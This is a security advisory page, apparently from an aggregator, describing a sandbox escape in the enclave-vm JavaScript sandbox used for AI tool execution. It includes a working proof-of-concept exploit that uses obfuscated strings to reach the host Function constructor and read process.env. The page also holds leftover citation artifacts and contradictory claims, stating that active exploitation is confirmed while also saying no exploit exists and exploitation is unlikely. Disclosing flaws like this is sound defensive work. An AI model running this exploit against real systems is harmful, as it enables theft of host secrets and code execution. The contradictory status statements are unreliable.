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GHSA-7qm7-455j-5p63
No affected components available
A critical sandbox escape vulnerability exists in enclave-vm (affected: < 2.6.0, patched: 2.7.0) that can allow untrusted, sandboxed JavaScript to execute arbitrary code in the host Node.js runtime.
When a tool invocation fails, enclave-vm exposes a host-side Error object to sandboxed code. This Error object retains its host realm prototype chain, which can be traversed to reach the host Function constructor:
Error instance → Error.prototype → Error constructor → Function constructor
With access to the host Function constructor, an attacker can compile and execute arbitrary JavaScript in the host context — bypassing the sandbox boundary and potentially gaining access to sensitive resources such as process.env, filesystem, and network.
This breaks enclave-vm’s core security guarantee of isolating untrusted code.
Ecosystem Impact (FrontMCP / CodeCall)
FrontMCP is a TypeScript-first framework for building MCP servers, and the CodeCall plugin enables models to orchestrate large toolsets by generating and executing JavaScript plans.
Enclave is the defense-in-depth sandbox layer behind CodeCall (AST validation + runtime sandboxing). If you use FrontMCP CodeCall for agent tool execution, you should treat this as an urgent upgrade and ensure your runtime is on a patched enclave-vm version.
Live Playground (Safe Exploration & Testing)
To explore Enclave’s execution model (AgentScript + tool calls) and validate your integration behavior, use the live playground:
- EnclaveVM Playground: https://enclave.agentfront.dev
This is the quickest way to understand the sandbox / tool-call flow and confirm your environment is running a patched setup.
Timeline (Fast Fix)
- Fix released:
enclave-vm@2.7.0(Jan 9, 2026) - Advisory published: Jan 13, 2026
Proof of Concept
<details> <summary>Click to expand PoC</summary>⚠️ For defensive validation and maintainers. Do not run PoCs on hosts you don’t own/control.
// Vector 35: The Host Error Escape
// Purpose: Trigger a Host-side error and traverse its prototype chain
// to reach the Host Function constructor.
const s = (...args) => String.fromCharCode(...args);
const kCon = s(99,111,110,115,116,114,117,99,116,111,114); // "constructor"
const kProto = s(95,95,112,114,111,116,111,95,95); // "__proto__"
const kLookup = s(95,95,108,111,111,107,117,112,71,101,116,116,101,114,95,95);
const kCode = s(114,101,116,117,114,110,32,112,114,111,99,101,115,115,46,101,110,118);
const kPtype = s(112,114,111,116,111,116,121,112,101);
try {
const ObjectProto = Object[kPtype];
const lookup = ObjectProto[kLookup];
const getProtoNative = lookup.call(ObjectProto, kProto);
let hostError;
try {
await callTool('THIS_TOOL_DOES_NOT_EXIST_XYZ', {});
} catch (e) {
hostError = e;
}
const errProto = getProtoNative.call(hostError);
const ErrorCtor = errProto[kCon];
const HostFunc = ErrorCtor[kCon];
const exploitFn = HostFunc(kCode);
return exploitFn();
} catch (e) {
return e.message;
}
</details>
Mitigation / Remediation
Immediate action:
- Upgrade enclave-vm to 2.7.0+
Defense-in-depth guidance:
- Re-create all Error objects crossing the sandbox boundary inside the sandbox realm
- Strip / freeze prototype chains of host objects
- Prevent access to host
Functionconstructors - Harden tool error handling to avoid leaking host-native objects
References
- GitHub Security Advisory: https://github.com/agentfront/enclave/security/advisories/GHSA-7qm7-455j-5p63
- npm package: https://www.npmjs.com/package/enclave-vm
- Enclave repo: https://github.com/agentfront/enclave
- FrontMCP docs: https://agentfront.dev/docs
- CodeCall plugin overview: https://agentfront.dev/docs/plugins/overview
- EnclaveVM Playground: https://enclave.agentfront.dev/
Factual hooks (for correctness):
- GHSA page confirms **affected `<2.6.0`** and **patched `2.7.0`**, plus CVSS 10.0 and the exact vulnerability description. :contentReference[oaicite:0]{index=0}
- FrontMCP docs explicitly describe **CodeCall** and that it uses **Enclave (AST validation + runtime sandboxing)**. :contentReference[oaicite:1]{index=1}
- FrontMCP positioning (“TypeScript-first framework for MCP…”) is stated in the docs. :contentReference[oaicite:2]{index=2}
- Enclave repo links the **Live Demo** at `enclave.agentfront.dev`. :contentReference[oaicite:3]{index=3}
- Release listing shows `enclave-vm@2.7.0` dated **Jan 9** (fast fix signal). :contentReference[oaicite:4]{index=4}
::contentReference[oaicite:5]{index=5}
The vulnerability can be exploited over the network without needing physical access. It is easy for an attacker to exploit this vulnerability. An attacker does not need any special privileges or access rights. No user interaction is needed for the attacker to exploit this vulnerability. The vulnerability can affect other systems as well, not just the initial system. There is a high impact on the confidentiality of the information. There is a high impact on the integrity of the data. There is a high impact on the availability of the system.
Active exploitation in the wild has been confirmed. Immediate patching or mitigation is required.
The exploit probability is very low. The vulnerability is unlikely to be exploited in the next 30 days.
We did not find any exploit available. Neither in GitHub repositories nor in the Exploit-Database.
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